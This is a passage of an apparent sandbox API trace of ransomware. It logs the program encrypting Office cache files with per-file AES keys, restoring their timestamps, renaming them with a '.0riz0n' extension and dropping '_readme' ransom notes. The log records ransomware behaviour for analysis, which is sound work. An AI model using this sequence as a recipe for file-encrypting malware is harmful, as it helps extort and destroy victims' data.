nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1 [0073.192] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.192] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0073.193] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc8a9170, dwHighDateTime=0x1d301be)) returned 1 [0073.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.193] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0073.193] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0073.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.193] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0073.194] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.194] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0073.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x740) returned 0xf1e738 [0073.194] ReadFile (in: hFile=0x1f0, lpBuffer=0xf1e738, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf1e738*, lpNumberOfBytesRead=0x17af85c*=0x708, lpOverlapped=0x0) returned 1 [0073.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x740) returned 0x1aa3df0 [0073.195] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1e738) returned 1 [0073.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x740) returned 0xf1e738 [0073.195] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.195] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1aa3df0) returned 1 [0073.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb40) returned 0x1acf180 [0073.195] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x708, dwBufLen=0xb08 | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x710) returned 1 [0073.196] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0073.196] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.196] WriteFile (in: hFile=0x1f0, lpBuffer=0xf1e738*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf1e738*, lpNumberOfBytesWritten=0x17af85c*=0x708, lpOverlapped=0x0) returned 1 [0073.196] FlushFileBuffers (hFile=0x1f0) returned 1 [0073.198] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.198] NtClose (Handle=0x1f0) returned 0x0 [0073.199] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.0riz0n")) returned 1 [0073.200] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0073.200] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0073.200] GetLastError () returned 0x2 [0073.200] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6728, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0073.200] GetLastError () returned 0x2 [0073.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.200] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.200] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0073.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf) returned 0x30d630 [0073.201] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2ed, lpOverlapped=0x0) returned 1 [0073.202] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x40713410, dwHighDateTime=0x1d59598)) returned 1 [0073.202] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.202] NtClose (Handle=0x1f0) returned 0x0 [0073.202] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0073.203] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0073.203] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0073.203] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1e738) returned 1 [0073.203] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0073.203] CryptDestroyKey (hKey=0x459b38) returned 1 [0073.203] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0073.203] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0073.203] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0073.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.203] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0073.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0073.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0073.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0073.204] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0073.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0073.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.204] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0073.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0073.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0073.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.205] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0073.205] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.205] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0073.205] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf0126df0, dwHighDateTime=0x1d301be)) returned 1 [0073.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.205] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0073.205] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0073.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.205] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0073.206] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.206] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd4200) returned 0x2350020 [0073.206] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xd4200, lpOverlapped=0x0) returned 1 [0073.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd4200) returned 0x2430020 [0073.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0073.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd4200) returned 0x2350020 [0073.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0073.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd4600) returned 0x2430020 [0073.255] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2430020*, pdwDataLen=0x17af858*=0xd4200, dwBufLen=0xd4600 | out: pbData=0x2430020*, pdwDataLen=0x17af858*=0xd4210) returned 1 [0073.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd4240) returned 0x2510020 [0073.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0073.274] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0073.278] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.278] WriteFile (in: hFile=0x1f0, lpBuffer=0x2510020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2510020*, lpNumberOfBytesWritten=0x17af85c*=0xd4200, lpOverlapped=0x0) returned 1 [0073.280] FlushFileBuffers (hFile=0x1f0) returned 1 [0073.286] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.286] NtClose (Handle=0x1f0) returned 0x0 [0073.291] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.0riz0n")) returned 1 [0073.291] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0073.292] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0073.292] GetLastError () returned 0x2 [0073.292] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6748, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0073.292] GetLastError () returned 0x2 [0073.292] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.292] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.292] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0073.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0073.294] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0073.294] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x407f7c50, dwHighDateTime=0x1d59598)) returned 1 [0073.294] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.294] NtClose (Handle=0x1f0) returned 0x0 [0073.295] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0073.295] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0073.295] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0073.295] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2510020) returned 1 [0073.299] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0073.299] CryptDestroyKey (hKey=0x459b38) returned 1 [0073.299] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0073.299] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0073.299] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0073.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.299] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1 [0073.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0073.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0073.299] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0073.299] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0073.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0073.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.300] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1 [0073.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0073.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0073.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.300] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1 [0073.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.300] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0073.301] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf00db300, dwHighDateTime=0x1d301be)) returned 1 [0073.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.301] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, 